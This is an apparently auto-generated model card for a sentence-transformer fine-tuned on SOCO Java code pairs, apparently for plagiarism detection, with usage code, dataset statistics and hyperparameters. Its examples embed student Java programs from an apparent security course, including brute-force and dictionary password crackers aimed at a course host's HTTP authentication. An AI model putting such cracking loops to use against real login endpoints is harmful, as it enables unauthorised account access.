# SentenceTransformer based on huggingface/CodeBERTa-small-v1

This is a [sentence-transformers](https://www.SBERT.net) model finetuned from [huggingface/CodeBERTa-small-v1](https://huggingface.co/huggingface/CodeBERTa-small-v1) on the [soco_train_java](https://huggingface.co/datasets/buelfhood/SOCO_TRAIN_java) dataset. It maps sentences & paragraphs to a 768-dimensional dense vector space and can be used for semantic textual similarity, semantic search, paraphrase mining, text classification, clustering, and more.

## Model Details

### Model Description
- **Model Type:** Sentence Transformer
- **Base model:** [huggingface/CodeBERTa-small-v1](https://huggingface.co/huggingface/CodeBERTa-small-v1) <!-- at revision e93b5898cff07f03f1c1c09cde284d1b85962363 -->
- **Maximum Sequence Length:** 512 tokens
- **Output Dimensionality:** 768 dimensions
- **Similarity Function:** Cosine Similarity
- **Training Dataset:**
    - [soco_train_java](https://huggingface.co/datasets/buelfhood/SOCO_TRAIN_java)
<!-- - **Language:** Unknown -->
<!-- - **License:** Unknown -->

### Model Sources

- **Documentation:** [Sentence Transformers Documentation](https://sbert.net)
- **Repository:** [Sentence Transformers on GitHub](https://github.com/UKPLab/sentence-transformers)
- **Hugging Face:** [Sentence Transformers on Hugging Face](https://huggingface.co/models?library=sentence-transformers)

### Full Model Architecture

```
SentenceTransformer(
  (0): Transformer({'max_seq_length': 512, 'do_lower_case': False}) with Transformer model: RobertaModel 
  (1): Pooling({'word_embedding_dimension': 768, 'pooling_mode_cls_token': False, 'pooling_mode_mean_tokens': True, 'pooling_mode_max_tokens': False, 'pooling_mode_mean_sqrt_len_tokens': False, 'pooling_mode_weightedmean_tokens': False, 'pooling_mode_lasttoken': False, 'include_prompt': True})
)
```

## Usage

### Direct Usage (Sentence Transformers)

First install the Sentence Transformers library:

```bash
pip install -U sentence-transformers
```

Then you can load this model and run inference.
```python
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-CodeBERTa-Softmax-PairClass")
# Run inference
sentences = [
    '\n\n\n\n\n\n\nimport java.io.*;\nimport java.lang.Object;\n\npublic class WatchDog\n{\n\n   \n   public static void main(String args[])throws Exception\n   {\n        Process p1,p2,p3,p4,p5;\n        \n        for(;;)\n        {\n          \n\n          String s1[] = {"/usr/local//tcsh", "-c", "mailx -s \\"Part 2-Assignment2 \\"  < change.html"};\n          String s2[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./images/*.* predir"};\n          String s3[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./students/*.* predir"};\n          String s4[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./images/*.* postdir"};\n          String s5[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./students/*.* postdir"};\n          String s6[] = {"/usr/local//tcsh", "-c", "diff copy1 copy2 > diff.html"};\n\n\n          Process p = Runtime.getRuntime().exec("mkdir predir");\n          p.waitFor();\n          Process p1 = Runtime.getRuntime().exec("mkdir postdir");\n          p1.waitFor();\n\n          \n          p1 = Runtime.getRuntime().exec("wget -p --convert-links http://www.cs.rmit.edu./students/");\n          p1.waitFor();\n\n          Process q2 = Runtime.getRuntime().exec(s2);\n          q2.waitFor();\n          Process q3 = Runtime.getRuntime().exec(s3);\n          q2.waitFor();\n\n          \n          Thread.sleep(86400000);\n\n          p3 = Runtime.getRuntime().exec("wget -p --convert-links http://www.cs.rmit.edu./students/");\n          p3.waitFor();\n\n          Process q4 = Runtime.getRuntime().exec(s4);\n          q4.waitFor();\n          Process q5 = Runtime.getRuntime().exec(s5);\n          q5.waitFor();\n\n          try\n          {\n            String str;\n            p4 = Runtime.getRuntime().exec(s6);\n            DataInputStream inp1 = new DataInputStream(p4.getInputStream());\n            p4.waitFor();\n            \n            System.out.println("The WatchDog - Returns 0 if  change  else 1");\n            System.out.println("Value :" + p4.exitValue());\n            try\n            {\n                while ((str = inp1.readLine()) != null)\n                {\n                    System.out.println(str);\n                }\n            }\n            catch (IOException e)\n            {\n                System.exit(0);\n            }\n\n          }\n          catch(FileNotFoundException e )\n          {\n              e.printStackTrace();\n          }\n\n          BufferedReader in = new BufferedReader(new FileReader("change.html"));\n          \n          if (in.readLine() != null)\n          {\n\n          try\n          {\n            String str1;\n            p5 = Runtime.getRuntime().exec(s1);\n            DataInputStream inp2 = new DataInputStream(p5.getInputStream());\n            p5.waitFor();\n          try\n            {\n                while ((str1 = inp2.readLine()) != null)\n                {\n                    System.out.println(str1);\n                }\n            }\n            catch (IOException e1)\n            {\n                System.exit(0);\n            }\n\n          }\n          catch(FileNotFoundException exp)\n          {\n              exp.printStackTrace();\n          }\n\n        }\n    }\n  }\n}\n\n',
    'import java.io.*;\nimport java.util.*;\nimport java.net.*;\nimport java.net.Authenticator;\n\n\npublic class  BruteForce\n{\n\n\tprivate String result ="";\n\n\tpublic class customAuthenticator extends Authenticator {\n\t       public customAuthenticator(String passwd)\n           {\n            this.pass = passwd;\n           }\n\n\t       protected PasswordAuthentication getPasswordAuthentication()\n           {\n\t                 return new PasswordAuthentication("",pass.toCharArray());\n           }\n           public String pass;\n    }\n\n    public BruteForce() {\n            java.util.Date d = java.util.Calendar.getInstance().getTime();\n            System.out.println(d.toString());\n\t\tchar words[] = { \'a\',\'b\',\'c\',\'d\',\'e\', \'f\', \'g\', \'h\', \'i\',\'j\',\'k\',\'l\',\'m\',\'n\',\'o\',\'p\',\n\t\t\t\t\t\t\t  \'q\',\'r\',\'s\',\'t\',\'u\',\'v\',\'w\',\'x\',\'y\',\'z\', \'A\',\'B\',\'C\',\'D\',\'E\', \'F\', \'G\',\n\t\t\t\t\t\t\t   \'H\', \'I\',\'J\',\'K\',\'L\',\'M\',\'N\',\'O\',\'P\',\'Q\',\'R\',\'S\',\'T\',\'U\',\'V\',\'W\',\'X\',\'Y\',\'Z\'};\n\n\t\tString record = null;\n\n\n\n        String url = "http://sec-crack.cs.rmit.edu./SEC/2/";\n\n\t\tchar pass[] = {\'x\',\'x\',\'x\'};\n\t\tint count=1;\n\t\tString passwd=new String();\n        HttpURLConnection connection = null;\n        URL u = null;\n\n        try\n        {\n         u = new URL(url);\n\n        }\n        catch (MalformedURLException e)\n        {\n        }\n\n        for(int a=0;a<words.length;a++)\n        {\n                for(int b=0;b<words.length;b++)\n                {\n                        for(int c=0;c<words.length;c++)\n                        {\n                                 pass[0]=words[a];\n                                 pass[1]=words[b];\n                                 pass[2]=words[c];\n                                 passwd=passwd.copyValueOf(pass,0,3);\n                                 System.out.println(count+ " ) " + passwd);\n                                 count++;\n                                 try\n                                 {\n\n                                       connection = (HttpURLConnection) u.openConnection();\n                                       Authenticator.setDefault(new customAuthenticator(passwd));\n\n                                       if (connection.getResponseCode()!=401)\n                                       {\n                                            System.out.print("The password is : "+passwd);\n                                            System.out.println();\n                                            java.util.Date d1 = java.util.Calendar.getInstance().getTime();\n                                            System.out.println(d1.toString());\n                                            System.out.println("\\ntime taken in seconds:"+ (d1.getTime() - d.getTime())/1000+"\\n");\n\n                                            System.exit(0);\n                                       }\n                                       else\n                                       {\n                                       }\n                                       connection.disconnect();\n                                 }\n                                 catch (IOException e)\n                                 {\n                                       System.out.println(e);\n                                 }\n                        }\n                }\n        }\n    }\n\n\tpublic static void main(String[] args)\n\t{\n\n\n\t\tBruteForce  = new BruteForce();\n\t}\n}',
    'import java.Object;\nimport java.io.*;\nimport java.String;\nimport java.util.*;\n\nclass Dictionary{\n\n      public static void main(String [] args){\n              try\n                {\n                Date d = new Date();\n                String line1="";\n                String ps="";\n                String file1 = "words.txt";\n                String file2 = "index.html";\n                String endline="Authorization failed.";\n                String [] cmd = new String[4];\n                cmd[0] = "wget";\n                cmd[1] = "--http-user=";\n                cmd[3] = "http://sec-crack.cs.rmit.edu./SEC/2/";\n\n                FileReader fr1 = new FileReader(file1);\n                BufferedReader in1 = new BufferedReader(fr1);\n                while((line1 = in1.readLine())!=null)\n                {\n                  try{\n                    cmd[2] = connect(line1);\n                    Runtime.getRuntime().exec(cmd);\n                    if(line1.length()==3)\n                      ps = line1;\n                    System.out.println(cmd[2]);\n                    File f = new File(file2);\n                    if(f.exists())\n                    {\n                    System.out.println("password: " + ps);\n                    break;\n                    }\n                   }\n                    catch(IOException ex)\n                    {\n                        System.out.println("hello1");\n                    }\n\n                }\n                Date end = new Date();\n                System.out.println(d.toString());\n                System.out.println(end.toString());\n                System.out.println("Seconds: " + (end.getSeconds()-d.getSeconds()));\n               }\n\n            catch(IOException e)\n            {\n              System.out.println("hello,didnt find file.");\n            }\n      }\n    public static String connect(String str1)\n            {\n                 char data[] = {\'-\',\'-\',\'h\',\'t\',\'t\',\'p\',\'-\',\'p\',\'a\',\'s\',\'s\',\'w\',\'d\',\'=\'};\n                 String str = new String(data);\n                 return str + str1;\n            }\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities.shape)
# [3, 3]
```

<!--
### Direct Usage (Transformers)

<details><summary>Click to see the direct usage in Transformers</summary>

</details>
-->

<!--
### Downstream Usage (Sentence Transformers)

You can finetune this model on your own dataset.

<details><summary>Click to expand</summary>

</details>
-->

<!--
### Out-of-Scope Use

*List how the model may foreseeably be misused and address what users ought not to do with the model.*
-->

<!--
## Bias, Risks and Limitations

*What are the known or foreseeable issues stemming from this model? You could also flag here known failure cases or weaknesses of the model.*
-->

<!--
### Recommendations

*What are recommendations with respect to the foreseeable issues? For example, filtering explicit content.*
-->

## Training Details

### Training Dataset

#### soco_train_java

* Dataset: [soco_train_java](https://huggingface.co/datasets/buelfhood/SOCO_TRAIN_java) at [44ca4ff](https://huggingface.co/datasets/buelfhood/SOCO_TRAIN_java/tree/44ca4ff546c090153d7903c15aeda036891ec476)
* Size: 30,069 training samples
* Columns: <code>label</code>, <code>text_1</code>, and <code>text_2</code>
* Approximate statistics based on the first 1000 samples:
  |         | label                                          | text_1                                                                              | text_2                                                                               |
  |:--------|:-----------------------------------------------|:------------------------------------------------------------------------------------|:-------------------------------------------------------------------------------------|
  | type    | int                                            | string                                                                              | string                                                                               |
  | details | <ul><li>0: ~99.80%</li><li>1: ~0.20%</li></ul> | <ul><li>min: 51 tokens</li><li>mean: 448.9 tokens</li><li>max: 512 tokens</li></ul> | <ul><li>min: 54 tokens</li><li>mean: 464.58 tokens</li><li>max: 512 tokens</li></ul> |
* Samples:
  | label          | text_1                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               | text_2                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   |
  |:---------------|:---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|:---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
  | <code>0</code> | <code>import java.io.*;<br>import java.net.*;<br>import java.security.*;<br>import java.math.*;<br>import java.*;<br>import java.util.*;<br><br><br>public class WatchDog<br>{<br>    public static FileWriter out = null, output = null;<br><br>    public static void main (String args[]) throws Exception {<br>	Socket socket = null;<br>	DataOutputStream  = null;<br>	BufferedReader bf = null, fr = null;<br>	String retVal = null, StatusCode = "HTTP/1.1 200 OK";<br>    int dirty = 0, count = 0;<br><br>         stime = System.currentTimeMillis();<br>        System.out.println("Detecting the changes...");<br><br>        try {<br><br>	        <br>            URL yahoo = new URL("http://www.cs.rmit.edu./students/");<br>            URLConnection yc = yahoo.openConnection();<br><br>            <br>            BufferedReader in = new BufferedReader(<br>                                    new InputStreamReader(<br>                                    yc.getInputStream()));<br><br>            String inputLine;<br>            try {<br>                out = new FileWriter("newstudent");<br>                while ((inp...</code> | <code><br>import java.util.*;<br><br><br>public class Cracker<br>{<br>   private char[] letters = {'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'};<br>   private Vector v;<br><br>   public Cracker()<br>   {<br>      v = new Vector( 52);<br>   }<br>   public void loadLetters()<br>   {<br>      int i;<br><br>      for( i = 0; i < letters.length; i++)<br>      {<br>	 String s = new StringBuffer().append( letters[i]).toString();<br>         v.add( s);<br>      }<br>   }<br>   public Vector getVictor()<br>   {<br>      return ;<br>   }<br>   public void loadPairs()<br>   {<br>      int i,j;<br><br>      for( i = 0; i < letters.length - 1; i++)<br>      {<br>         for( j = i + 1; j < letters.length; j++)<br>         {<br>            String s1 = new StringBuffer().append( letters[i]).append( letters[j]).toString();<br>	    String s2 = new StringBuffer().append( letters[j]).append( letters[i])....</code>                                     |
  | <code>0</code> | <code><br>import java.net.*;<br>import java.*;<br>import java.io.*;<br>import java.util.GregorianCalendar;<br>public class BruteForce<br>{<br><br>    private char passwd_Array []={'a','b','c','d','e','f','g','h','i','j','k',<br>    'l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','A','B',<br>    'C','D','E','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V',<br>    'W','X','Y','Z','0','1','2','3','4','5','6','7','8','9','\'','.','&'};<br>    private int num=1;<br>    public void crackAddress() throws Exception<br>    {<br>       String line,username="",passwd;<br>       int flag=0;<br>       Runtime run = Runtime.getRuntime();<br>       GregorianCalendar =new GregorianCalendar();<br>       for(int k=0;k<passwd_Array.length;k++)<br>       {<br>            for(int j=0;j<passwd_Array.length;j++)<br>            {<br>                for(int i=0;i<passwd_Array.length;i++)<br>                {<br>                 passwd =(new StringBuffer().append(passwd_Array[i]).append(passwd_Array[j]).append(passwd_Array[k])).toString();<br>                 System....</code>                               | <code><br><br><br><br><br>import java.io.InputStream;<br>import java.util.Properties;<br><br>import javax.naming.Context;<br>import javax.naming.InitialContext;<br>import javax.rmi.PortableRemoteObject;<br>import javax.sql.DataSource;<br><br><br><br>public class DictionaryPropertyHelper {<br><br>	private static Properties dictProps;<br><br><br><br>	public DictionaryPropertyHelper() {<br>	}<br><br><br>	<br>	public static String getProperty(String pKey){<br>		try{<br>			initProps();<br>		}<br>		catch(Exception e){<br>			System.err.println("Error init'ing the dictionary Props");<br>			e.printStackTrace();<br>		}<br>		return dictProps.getProperty(pKey);<br>	}<br><br><br>	private static void initProps() throws Exception{<br>		if(dictProps == null){<br>			dictProps = new Properties();<br><br>			InputStream fis =<br>				DictionaryPropertyHelper.class.getResourceAsStream("/dictionary.properties");<br>			dictProps.load(fis);<br>		}<br>	}<br>}<br><br></code>                                                                                                                                                                                                       |
  | <code>0</code> | <code><br><br><br><br>import java.net.*;<br>import java.io.*;<br>import java.util.Date;<br><br>public class BruteForce {<br>  private URL url;<br>  private HttpURLConnection connection;<br>  private static String[] lowerCase = {"a", "b", "c", "d", "e", "f", "g", "h", "i", "j",<br>                                       "k", "l", "m", "n", "o", "p", "q", "r", "s", "t",<br>                                       "u", "v", "w", "x", "y", "z"};<br>  private static String[] upperCase = {"A", "B", "C", "D", "E", "F", "G", "H", "I", "J",<br>                                       "K", "L", "M", "N", "O", "P", "Q", "R", "S", "T",<br>                                       "U", "V", "W", "X", "Y", "Z"};<br>  private String userPassword, base64_userPassword;<br>  private static char wrongPass;<br><br>  public BruteForce() {<br>    wrongPass = 'Y';<br>  }<br><br>  public char determinePass(String inputURL, String userName, String passWord){<br><br>    try{<br>        url = new URL(inputURL);<br>        connection = (HttpURLConnection)url.openConnection();<br>        this.getEncoded(userName,...</code>                      | <code>import	java.io.*;<br><br>class WatchDog {<br>    public static void main(String args[]) {<br>    <br>	    if (args.length<1)<br>	 {<br>       System.out.println("Correct Format Filename  email address <username@cs.rmit.edu.> of the recordkeeper"); <br>        System.exit(1);	<br>	 }<br><br>	while (true)<br>		{<br>		<br>		<br>  FileInputStream stream=null;<br>  DataInputStream word=null;<br>  String input="   "; <br><br><br>	try {<br><br><br>       String ls_str;<br>    <br>    	   <br>	  Process ls_proc = Runtime.getRuntime().exec("wget http://www.cs.rmit.edu./students");<br>   		try {<br>		Thread.sleep(2000);<br>		}catch (Exception e) {<br>    System.err.println("Caught ThreadException: " +e.getMessage());<br>	  }<br><br>		String[] cmd = {"//sh","-c", "diff Index2.html index.html >report.txt "};<br><br>	   ls_proc = Runtime.getRuntime().exec(cmd);<br>		          <br>			<br>			try {<br>		Thread.sleep(2000);<br>		}catch (Exception e) {<br>    System.err.println("Caught ThreadException: " +e.getMessage());<br>	  }<br>		<br>		<br>		<br>		if (ls_proc.exitValue()==2) <br>		{<br>		  	   System.out.println("The file was checked for f...</code> |
* Loss: [<code>SoftmaxLoss</code>](https://sbert.net/docs/package_reference/sentence_transformer/losses.html#softmaxloss)

### Evaluation Dataset

#### soco_train_java

* Dataset: [soco_train_java](https://huggingface.co/datasets/buelfhood/SOCO_TRAIN_java) at [44ca4ff](https://huggingface.co/datasets/buelfhood/SOCO_TRAIN_java/tree/44ca4ff546c090153d7903c15aeda036891ec476)
* Size: 3,342 evaluation samples
* Columns: <code>label</code>, <code>text_1</code>, and <code>text_2</code>
* Approximate statistics based on the first 1000 samples:
  |         | label                                          | text_1                                                                               | text_2                                                                               |
  |:--------|:-----------------------------------------------|:-------------------------------------------------------------------------------------|:-------------------------------------------------------------------------------------|
  | type    | int                                            | string                                                                               | string                                                                               |
  | details | <ul><li>0: ~99.50%</li><li>1: ~0.50%</li></ul> | <ul><li>min: 51 tokens</li><li>mean: 451.02 tokens</li><li>max: 512 tokens</li></ul> | <ul><li>min: 54 tokens</li><li>mean: 464.38 tokens</li><li>max: 512 tokens</li></ul> |
* Samples:
  | label          | text_1                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   | text_2                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    |
  |:---------------|:---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|:------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
  | <code>0</code> | <code>import java.io.*;<br>import java.net.*;<br><br><br><br><br><br><br><br><br><br><br><br>public class BruteForce<br>{<br>   private String urlString = "http://sec-crack.cs.rmit.edu./SEC/2/index.php";<br>   private static String password;<br>   private static int length;          <br>   private static int t_counter;       <br>   private static int f_counter;       <br>                                       <br>   private static int cases;           <br>                                       <br>   private static int respCode;        <br><br>   public BruteForce()<br>   {<br>      Authenticator.setDefault(new BruteForceAuthenticator());<br>      t_counter = 0;<br>      f_counter = 0;<br>      cases = 0;<br>   }<br><br>   public static void main (String[] args)<br>   {<br>      BruteForce bf = new BruteForce();<br>      String file = " ";<br>      while(respCode != 200)<br>      {<br>         file = bf.fetchURL();<br>      }<br>      System.out.println("Number of attempts: " + t_counter);<br>      System.out.println("Password: " + password);<br>      System.out.println(file);<br>   }<br><br>   private String fetchURL()<br>   {<br> ...</code> | <code><br><br><br><br><br>import java.io.IOException;<br>import java.net.*;<br><br>import java.io.*;<br>import java.util.*;<br><br><br><br>public class BruteForce<br><br>{<br><br>   static String strLetter[];<br><br>   static URL url = null;<br>   static URLConnection urlConnection;<br>   static InputStream urlStream;<br><br>   static String strExceptionPassword[];<br><br>   static int intExceptionCount = -1;<br><br>   static int intNumberOfConnectionAttempts = 0;<br><br>   static String username = "";<br><br>   static String strLastPasswordTested;<br><br><br><br>   public static void main (String args[])<br>   <br>   {<br><br>         <br>         <br>      Calendar calStart;<br>      Calendar calFinish;   <br>      Date dateStart;<br>      Date dateFinish;<br>       lngStart;<br>       lngFinish;<br><br><br><br>         <br>         <br>      calStart  = new GregorianCalendar();<br>      dateStart = calStart.getTime();<br>      lngStart  = dateStart.getTime();          <br><br><br><br><br>      System.out.println();<br>      System.out.println();<br><br><br><br><br>         <br>         <br>      populateArray();<br><br><br>         <br>         <br>         <br>         <br><br>      boolean boolPasswordFound...</code> |
  | <code>0</code> | <code><br><br><br><br>import java.util.*;<br>import java.net.*;<br>import java.io.*;<br>import misc.BASE64Encoder;<br>import javax.swing.*;<br><br>public class ConnectionThread extends Thread<br>{<br>    private String         url;<br>    private URL            currURL;<br>    private URLConnection  conn;<br>    private HoldSharedData sharedData;<br>    private int            noOfThread;<br>    private int            batch;<br><br>    public ConnectionThread( String pageURL, int wThread,<br>                             int newBatch, HoldSharedData data )<br>    {<br>        super();<br>        url = pageURL;<br>        noOfThread = wThread;<br>        batch = newBatch;<br>        sharedData = data;<br>    }<br><br>    <br>    public void run()<br>    {<br>        try<br>        {<br>            currURL = new URL( url );<br><br>            for( int i = noOfThread*batch; (i < (noOfThread + 1)*batch) &&<br>                                    (i < sharedData.getPwdCount()); i ++ )<br>            {<br>                String pwd = sharedData.getPasswordAt( i );<br><br>                conn = currURL.openConnection();<br><br>...</code>                | <code>import java.net.*;<br>import java.io.*;<br><br><br>public class EmailClient<br>{<br>	private String sender, recipient, hostName;<br><br>	public EmailClient(String nSender, String nRecipient, String nHost)<br>	{<br>		sender = nSender;<br>		recipient = nRecipient;<br>		hostName = nHost;<br>	}<br><br>	public void sendMail(String subject, String message)<br>	{<br>		try<br>		{<br>			Socket s1=null;<br>			InputStream	is = null;<br>			OutputStream os = null;<br><br>			DataOutputStream  = null;<br><br>			s1 = new Socket(hostName,25);<br>			is = s1.getInputStream();<br>			os = s1.getOutputStream();<br><br>			bd = new DataOutputStream(os);<br><br>			BufferedReader response = new BufferedReader(new InputStreamReader(is));<br><br>			bd.writeBytes("HELO "+ InetAddress.getLocalHost().getHostName() + "\r\n");<br><br>			waitForSuccessResponse(response);<br><br>			bd.writeBytes("MAIL FROM:"+sender+"\n");<br><br>			waitForSuccessResponse(response);<br><br>			bd.writeBytes("RCPT :"+recipient+"\n");<br><br>			waitForSuccessResponse(response);<br><br>			bd.writeBytes("data"+"\n");<br><br>			bd.writeBytes("Subject:"+subject+"\n");<br><br>			bd.writeBy...</code>                                                                               |
  | <code>0</code> | <code>import java.io.*;<br>import java.util.*;<br>import java.text.*;<br>import java.net.*;<br><br><br>public class LoginAttempt <br>{<br><br>    <br>    <br>    <br>    private String urlName = "http://sec-crack.cs.rmit.edu./SEC/2/index.php";<br>    private String userName = "";<br>    private String connectString = "";<br><br>	<br>    public LoginAttempt()<br>    {<br>    }   <br><br><br>	<br><br>    public LoginAttemptResults tryPasswords(String [] casedPasswords, int passwordsTried)<br>    {<br>       boolean foundPassword = false;<br>       LoginAttemptResults results = new LoginAttemptResults();<br>       <br>       for( i = 0; i < casedPasswords.length; i++)	<br>       {<br>           passwordsTried++;<br>    	   try<br>    	   {<br>           		URL targetURL;<br>           		HttpURLConnection connection;<br>    	   	    targetURL = new URL(urlName);<br>               	connection = (HttpURLConnection) targetURL.openConnection();<br>    <br>              	connectString = userName + ":" + casedPasswords[i].trim();<br>        		connectString = new targetURL.misc.BASE64Encoder().encode(connectString.getByt...</code>                         | <code><br>package java.httputils;<br><br>import java.io.BufferedInputStream;<br>import java.io.IOException;<br>import java.net.HttpURLConnection;<br>import java.net.MalformedURLException;<br>import java.net.URL;<br>import java.net.URLConnection;<br>import java.sql.Timestamp;<br><br><br>public class HttpRequestClient<br>{<br>    protected URL serverURL;<br>    protected java.net.HttpURLConnection httpConnection;<br>    protected Timestamp start;<br>    protected Timestamp end;<br>    protected StringBuffer content = new StringBuffer();<br>    protected int millis;<br>    protected int code;<br>    <br>    public HttpRequestClient(String url)<br>        throws MalformedURLException, IOException<br>    {<br>        setServerURL(new URL(url));<br>        <br>        setStart(new Timestamp(System.currentTimeMillis()));<br><br>        <br>        setHttpConnection(<br>            (HttpURLConnection)this.getServerURL().openConnection());<br>        doRequest();<br>    }<br><br>    <br>    public HttpRequestClient()<br>    {<br>        super();<br>    }<br><br><br>    public int doRequest()<br>        throws IOException<br>    {...</code>                                                                                              |
* Loss: [<code>SoftmaxLoss</code>](https://sbert.net/docs/package_reference/sentence_transformer/losses.html#softmaxloss)

### Training Hyperparameters
#### Non-Default Hyperparameters

- `eval_strategy`: steps
- `per_device_train_batch_size`: 16
- `per_device_eval_batch_size`: 16
- `num_train_epochs`: 1
- `warmup_ratio`: 0.1
- `fp16`: True

#### All Hyperparameters
<details><summary>Click to expand</summary>

- `overwrite_output_dir`: False
- `do_predict`: False
- `eval_strategy`: steps
- `prediction_loss_only`: True
- `per_device_train_batch_size`: 16
- `per_device_eval_batch_size`: 16
- `per_gpu_train_batch_size`: None
- `per_gpu_eval_batch_size`: None
- `gradient_accumulation_steps`: 1
- `eval_accumulation_steps`: None
- `torch_empty_cache_steps`: None
- `learning_rate`: 5e-05
- `weight_decay`: 0.0
- `adam_beta1`: 0.9
- `adam_beta2`: 0.999
- `adam_epsilon`: 1e-08
- `max_grad_norm`: 1.0
- `num_train_epochs`: 1
- `max_steps`: -1
- `lr_scheduler_type`: linear
- `lr_scheduler_kwargs`: {}
- `warmup_ratio`: 0.1
- `warmup_steps`: 0
- `log_level`: passive
- `log_level_replica`: warning
- `log_on_each_node`: True
- `logging_nan_inf_filter`: True
- `save_safetensors`: True
- `save_on_each_node`: False
- `save_only_model`: False
- `restore_callback_states_from_checkpoint`: False
- `no_cuda`: False
- `use_cpu`: False
- `use_mps_device`: False
- `seed`: 42
- `data_seed`: None
- `jit_mode_eval`: False
- `use_ipex`: False
- `bf16`: False
- `fp16`: True
- `fp16_opt_level`: O1
- `half_precision_backend`: auto
- `bf16_full_eval`: False
- `fp16_full_eval`: False
- `tf32`: None
- `local_rank`: 0
- `ddp_backend`: None
- `tpu_num_cores`: None
- `tpu_metrics_debug`: False
- `debug`: []
- `dataloader_drop_last`: False
- `dataloader_num_workers`: 0
- `dataloader_prefetch_factor`: None
- `past_index`: -1
- `disable_tqdm`: False
- `remove_unused_columns`: True
- `label_names`: None
- `load_best_model_at_end`: False
- `ignore_data_skip`: False
- `fsdp`: []
- `fsdp_min_num_params`: 0
- `fsdp_config`: {'min_num_params': 0, 'xla': False, 'xla_fsdp_v2': False, 'xla_fsdp_grad_ckpt': False}
- `fsdp_transformer_layer_cls_to_wrap`: None
- `accelerator_config`: {'split_batches': False, 'dispatch_batches': None, 'even_batches': True, 'use_seedable_sampler': True, 'non_blocking': False, 'gradient_accumulation_kwargs': None}
- `deepspeed`: None
- `label_smoothing_factor`: 0.0
- `optim`: adamw_torch
- `optim_args`: None
- `adafactor`: False
- `group_by_length`: False
- `length_column_name`: length
- `ddp_find_unused_parameters`: None
- `ddp_bucket_cap_mb`: None
- `ddp_broadcast_buffers`: False
- `dataloader_pin_memory`: True
- `dataloader_persistent_workers`: False
- `skip_memory_metrics`: True
- `use_legacy_prediction_loop`: False
- `push_to_hub`: False
- `resume_from_checkpoint`: None
- `hub_model_id`: None
- `hub_strategy`: every_save
- `hub_private_repo`: None
- `hub_always_push`: False
- `gradient_checkpointing`: False
- `gradient_checkpointing_kwargs`: None
- `include_inputs_for_metrics`: False
- `include_for_metrics`: []
- `eval_do_concat_batches`: True
- `fp16_backend`: auto
- `push_to_hub_model_id`: None
- `push_to_hub_organization`: None
- `mp_parameters`: 
- `auto_find_batch_size`: False
- `full_determinism`: False
- `torchdynamo`: None
- `ray_scope`: last
- `ddp_timeout`: 1800
- `torch_compile`: False
- `torch_compile_backend`: None
- `torch_compile_mode`: None
- `include_tokens_per_second`: False
- `include_num_input_tokens_seen`: False
- `neftune_noise_alpha`: None
- `optim_target_modules`: None
- `batch_eval_metrics`: False
- `eval_on_start`: False
- `use_liger_kernel`: False
- `eval_use_gather_object`: False
- `average_tokens_across_devices`: False
- `prompts`: None
- `batch_sampler`: batch_sampler
- `multi_dataset_batch_sampler`: proportional

</details>

### Training Logs
| Epoch  | Step | Training Loss | Validation Loss |
|:------:|:----:|:-------------:|:---------------:|
| 0.0532 | 100  | 0.0842        | 0.0238          |
| 0.1064 | 200  | 0.0111        | 0.0203          |
| 0.1596 | 300  | 0.0061        | 0.0253          |
| 0.2128 | 400  | 0.0243        | 0.0203          |
| 0.2660 | 500  | 0.0311        | 0.0209          |
| 0.3191 | 600  | 0.0212        | 0.0203          |
| 0.3723 | 700  | 0.0137        | 0.0237          |
| 0.4255 | 800  | 0.03          | 0.0199          |
| 0.4787 | 900  | 0.0104        | 0.0195          |
